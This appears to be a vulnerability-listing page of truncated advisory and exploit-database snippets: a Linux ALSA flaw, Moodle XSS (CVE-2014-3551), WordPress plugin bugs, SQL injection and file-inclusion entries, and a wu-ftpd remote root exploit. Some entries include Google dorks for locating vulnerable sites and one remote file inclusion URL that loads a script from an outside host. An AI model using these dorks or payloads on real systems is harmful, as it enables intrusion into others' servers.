Kernel: ALSA: control: use-after-free in replacing user controls

A use-after-free flaw was found in the way the Linux kernel's Advanced Linux Sound Architecture ALSA implementation handled user controls. A local, privileged user could use this flaw to crash the system...

Study: Uyghur Remain in Crosshairs of Targeted Attacks

It’s no secret that activists groups supporting the Uyghur and other ethnic minorities living either in exile or in oppressed nations have been in the crosshairs of targeted attacks for years. Regimes use phishing emails, other social engineering tactics, and drive-by downloads to infect computer...

Advanced Text Widget <= 2.0.0 - Cross Site Scripting

The Advanced Text Widget WordPress plugin was affected by a Cross Site Scripting security vulnerability...

Advanced Custom Fields <= 3.5.1 - Remote File Inclusion

The Advanced Custom Fields WordPress plugin was affected by a Remote File Inclusion security vulnerability...

WordPress Advanced Dewplayer Plugin <= 1.2 - Full Path Disclosure

This plugin is prone to a direct request full path disclosure in dewplayer.php. Solution Update the plugin...

Microsoft Releases EMET 5.0 Exploit Mitigation Tool

The latest version of Microsoft’s freely available stopgap against zero-day exploits was released today with two new exploit mitigations and a batch of new configuration options. The update to Microsoft’s Enhanced Mitigation Experience Tool kit, or EMET, comes six months after a technical preview...

CVE-2014-3551

Multiple cross-site scripting XSS vulnerabilities in the advanced-grading implementation in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allow remote authenticated users to inject arbitrary web script or HTML via a crafted 1...

Cross site scripting

Multiple cross-site scripting XSS vulnerabilities in the advanced-grading implementation in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allow remote authenticated users to inject arbitrary web script or HTML via a crafted 1...

CVE-2014-3551

CVE-2014-3551 affects Moodle multiple versions of the advanced-grading rubric component. Vulnerable in 2.3.x up to 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1. Description: XSS via crafted (1) qualification or (2) rating fields in a rubric, exploita...

CVE-2014-3551

Multiple cross-site scripting XSS vulnerabilities in the advanced-grading implementation in Moodle through 2.3.11, 2.4.x before 2.4.11, 2.5.x before 2.5.7, 2.6.x before 2.6.4, and 2.7.x before 2.7.1 allow remote authenticated users to inject arbitrary web script or HTML via a crafted 1...

Password Security Scanner - Check the security/strength of your passwords on Windows

This utility scans the passwords stored by popular Windows applications Microsoft Outlook, Internet Explorer, Mozilla Firefox, and more... and displays security information about all these passwords. The security information of every stored password includes the total number of characters, number...

Hotel / Resort Site Script with OnLine Reservation System

No description provided by source. Author: L0rd CrusAd3r aka VSN [email protected] Exploit Title:Hotel / Resort Site Script with OnLine Reservation System SQLi Vulnerable Published: 2010-06-08 Vendor url:http://www.mformula.com.br Greetz to:Sid3^effects, aaNumb, M4n0j and to all ICW members...

T-Dreams Job Seekers Package 3.0 - SQL Injection

No description provided by source. Author: R4dc0re Exploit Title: T-Dreams Job Seekers Package SQL injection Vulnerability Date: 04-12-2010 Vendor or Software Link:http://t-dreams.com Category:WebApp Version:3.0 Price:279$ Contact: [email protected] Website: www.1337db.com Greetings to:...

wu-ftpd 2.6.2 - Remote Root Exploit (advanced version)

No description provided by source. / wu-ftpd v2.6.2 off-by-one remote 0day exploit. exploit by you dong-hunXpl017Elz, [email protected]. Update: v0.0.2 August 2, I added wu-ftpd-2.6.2, 2.6.0, 2.6.1 finally. v0.0.3 August 3, Brute-Force function addition. v0.0.4 August 4, Added FreeBSD, OpenBSD...

Advanced Poll 2.0.2 Common.Inc.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/19105/info Advanced Poll is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input to the application. An attacker may leverage this issue to have an arbitrary remote file...

jSchool Advanced SQL Injection Vulnerability

No description provided by source. ----------------------------------------------------------------------- Exploit Title : jSchool Advanced SQL Injection Vulnerability Dork : inurl: action=profil.main Found : 15 Jan '11 Author : eXa.DisC Software : jSchool Advanced...

Advanced GuestBook 2.x Addentry.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/17745/info Advanced GuestBook for phpBB is prone to a remote file-include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input. An attacker can exploit this issue to...

Advanced GuestBook <= 2.4.0 (phpBB) File Inclusion Vulnerability

No description provided by source. Title: Advanced GuestBook for phpBB = 2.4.0 Remote File Inclusion Dork: inurl:guestbook.php Advanced GuestBook powered by phpbb Credits: Oo Exploit: http://url/phpbbpath/admin/addentry.php?phpbbrootpath=http://badscript? milw0rm.com 2006-04-28...

Advanced Poll 2.0.2/2.0.3 Popup.PHP Cross-Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/15506/info Advanced Poll is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary code in the browse...

Advanced GuestBook 2.3.1 Admin.PHP Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/20902/info Advanced GuestBook for phpBB is prone to a remote file-include vulnerability because the application fails to properly sanitize user-supplied input. An attacker can exploit this issue to include an arbitrary...